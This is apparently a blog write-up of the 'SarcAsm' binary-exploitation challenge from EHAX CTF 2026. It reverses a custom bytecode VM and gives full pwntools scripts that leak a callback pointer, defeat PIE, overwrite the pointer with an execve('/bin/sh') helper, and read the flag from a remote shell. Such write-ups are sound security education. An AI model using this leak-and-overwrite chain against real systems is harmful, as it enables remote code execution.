822 words
4 minutes
EHAX CTF 2026 - SarcAsm - Binary Exploitation Writeup

Category: Binary Exploitation
Flag: EH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}

Challenge Description#

Unsarcastically, introducing the best asm in market: SarcAsm

Analysis#

The handout was a VM challenge bundle (sarcasm, custom libc.so.6, and loader), so I treated it like parser/bytecode pwn instead of classic stack ROP. The protection profile on the host binary is very hardened (PIE, canary, full RELRO, NX, SHSTK/IBT), which strongly suggested the intended path would be logic/VM memory corruption rather than native return-address control.

file "/home/rei/sarcasm/handout/sarcasm"
checksec "/home/rei/sarcasm/handout/sarcasm"
/home/rei/sarcasm/handout/sarcasm: ELF 64-bit LSB pie executable, x86-64, ... stripped
[*] '/home/rei/sarcasm/handout/sarcasm'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled

The key click came from reversing the VM metadata and dispatch tables. BUILTIN and CALL are real VM opcodes (0x40 and 0x41), and their object type is callable object type 3. That meant I should target object internals used by CALL, not native ELF control flow.

# parse_vm_meta.py
from pathlib import Path
import struct

p = Path('/home/rei/sarcasm/handout/sarcasm').read_bytes()
base_fo = 0x8A80
ro_va = 0x7000

def read_cstr(va: int) -> str:
    out = []
    idx = va - ro_va
    while idx < len(p) and p[idx] != 0:
        out.append(chr(p[idx]))
        idx += 1
    return ''.join(out)

for i in range(0x19):
    rec = p[base_fo + i * 0x18 : base_fo + i * 0x18 + 0x18]
    name_ptr = struct.unpack_from('<Q', rec, 0)[0]
    opcode = struct.unpack_from('<I', rec, 8)[0]
    if i in (19, 20):
        print(i, hex(opcode), read_cstr(name_ptr))
19 0x140 BUILTIN
20 0x141 CALL

Then I confirmed the builtin function-pointer table in .data.rel.ro: builtin id 0 points to 0x31d0 and builtin id 1 points to 0x2ee0.

objdump -s --start-address=0x9a50 --stop-address=0x9ac0 "/home/rei/sarcasm/handout/sarcasm"
Contents of section .data.rel.ro:
 9a60 d0310000 00000000 01000000 00000000  .1.............
 9a70 e02e0000 00000000 00000000 00000000  ................

The winning target was nearby in the same PIE image: 0x3000 is a tiny helper that does execve("/bin/sh", ...) and exits. So a partial pointer rewrite from builtin-1 callback (0x2ee0) to shell helper (0x3000) is enough to get code execution.

objdump -M intel --start-address=0x3000 --stop-address=0x3050 -d "/home/rei/sarcasm/handout/sarcasm"
0000000000003000 <.text+0xc00>:
 3000: ...
 301b: 48 b8 2f 62 69 6e 2f 73 68 00  movabs rax,0x68732f6e69622f
 ...
 303d: e8 ce f2 ff ff                  call   2310 <execve@plt>

At that point, the exploit strategy became a two-stage VM payload: first leak 8 bytes from the builtin object (so PIE can be derived reliably under ASLR), then write back the forged callback pointer and trigger CALL 0 to jump into execve("/bin/sh"). Local validation showed the chain was correct and stable enough to run commands from the spawned shell.

smug

# local_verify.py
from pwn import process, p32, p64, u64

code = bytes.fromhex(
    '20 20 02 22 00 00 04 60 40 01 03 02 31 00 25 08 '
    '00 30 00 23 30 00 25 00 08 41 00 ff'
)

io = process([
    '/home/rei/sarcasm/handout/ld-linux-x86-64.so.2',
    '--library-path',
    '/home/rei/sarcasm/handout',
    '/home/rei/sarcasm/handout/sarcasm',
])

io.send(p32(len(code)) + code)
leak = io.recvn(8, timeout=2)
ptr = u64(leak)
base = ptr - 0x2EE0
target = base + 0x3000

io.send(p64(target))
io.sendline(b'echo LOCAL_OK')
io.sendline(b'exit')
out = io.recvall(timeout=2)

print('leak', hex(ptr))
print(out.decode(errors='ignore'))
leak 0x7f41d1a1cee0
LOCAL_OK

Remote service behavior was noisy (some connections returned no leak bytes), so I wrapped the same primitive in retry logic. Once a full 8-byte leak landed, the overwrite/trigger path worked immediately and the shell output contained the real flag.

dance

# remote_retry.py
import re
import time

from pwn import remote, p32, p64, u64

HOST = 'chall.ehax.in'
PORT = 9999
code = bytes.fromhex(
    '20 20 02 22 00 00 04 60 40 01 03 02 31 00 25 08 '
    '00 30 00 23 30 00 25 00 08 41 00 ff'
)

for i in range(1, 21):
    try:
        io = remote(HOST, PORT, timeout=8)
    except Exception:
        continue

    try:
        io.send(p32(len(code)) + code)
        leak = io.recvn(8, timeout=8)
        if len(leak) != 8:
            io.close()
            continue

        ptr = u64(leak)
        base = ptr - 0x2EE0
        target = base + 0x3000
        io.send(p64(target))

        io.sendline(b'echo START')
        io.sendline(b'cat flag.txt')
        io.sendline(b'cat /flag')
        io.sendline(b'cat /flag.txt')
        io.sendline(b'exit')

        out = io.recvall(timeout=6).decode(errors='ignore')
        print(i, 'leaklen', len(leak), leak.hex())
        print(out)

        m = re.search(r'[A-Za-z0-9_]+\{[^}\n]+\}', out)
        if m:
            print('FLAG', m.group(0))
            break
    finally:
        try:
            io.close()
        except Exception:
            pass
        time.sleep(0.3)
9 leaklen 8 e08edfd60b580000
START
EH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}

FLAG EH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}

Solution#

# solve.py
import re
import time

from pwn import remote, p32, p64, u64


HOST = "chall.ehax.in"
PORT = 9999

# VM program:
# 1) create stale callable object and leak 8-byte builtin callback pointer
# 2) overwrite callback with execve('/bin/sh') helper address
# 3) CALL 0 to execute shell helper
CODE = bytes.fromhex(
    "20 20 02 22 00 00 04 60 40 01 03 02 31 00 25 08 "
    "00 30 00 23 30 00 25 00 08 41 00 ff"
)


def try_once() -> str | None:
    io = remote(HOST, PORT, timeout=8)
    io.send(p32(len(CODE)) + CODE)

    leak = io.recvn(8, timeout=8)
    if len(leak) != 8:
        io.close()
        return None

    leaked_ptr = u64(leak)
    pie_base = leaked_ptr - 0x2EE0
    shell_helper = pie_base + 0x3000

    io.send(p64(shell_helper))
    io.sendline(b"echo START")
    io.sendline(b"cat flag.txt")
    io.sendline(b"cat /flag")
    io.sendline(b"cat /flag.txt")
    io.sendline(b"exit")

    out = io.recvall(timeout=6).decode(errors="ignore")
    io.close()

    m = re.search(r"[A-Za-z0-9_]+\{[^}\n]+\}", out)
    return m.group(0) if m else None


def main() -> None:
    for _ in range(20):
        flag = try_once()
        if flag:
            print(flag)
            return
        time.sleep(0.3)
    raise RuntimeError("flag not recovered in retry window")


if __name__ == "__main__":
    main()
python3.12 solve.py
EH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}
EHAX CTF 2026 - SarcAsm - Binary Exploitation Writeup
https://blog.rei.my.id/posts/67/ehax-ctf-2026-sarcasm-binary-exploitation-writeup/
Author
Reidho Satria
Published at
2026-03-01
License
CC BY-NC-SA 4.0